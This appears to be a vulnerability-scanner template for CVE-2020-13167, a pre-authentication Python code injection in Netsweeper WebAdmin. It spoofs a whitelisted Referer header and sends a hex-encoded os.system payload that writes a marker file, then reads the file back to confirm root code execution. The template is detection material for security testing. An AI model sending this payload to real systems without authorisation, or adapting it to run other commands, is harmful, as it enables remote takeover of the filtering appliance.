43 lines
1.9 KiB
YAML
43 lines
1.9 KiB
YAML
id: CVE-2020-13167
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info:
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name: Netsweeper WebAdmin unixlogin.php Python Code Injection
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author: dwisiswant0
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severity: critical
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description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
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tags: cve,cve2020,netsweeper,rce
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reference:
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- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
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- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
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# This template exploits a Python code injection in the Netsweeper
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# WebAdmin component's unixlogin.php script, for versions 6.4.4 and
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# prior, to execute code as the root user.
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# Authentication is bypassed by sending a random whitelisted Referer
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# header in each request.
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# Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
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# Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
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# been confirmed exploitable.
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requests:
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- method: GET
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path:
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# Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
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- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
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- "{{BaseURL}}/webadmin/out"
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headers:
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Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
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User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
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Connection: "close"
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "nonexistent"
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part: body
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- type: status
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status:
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- 200
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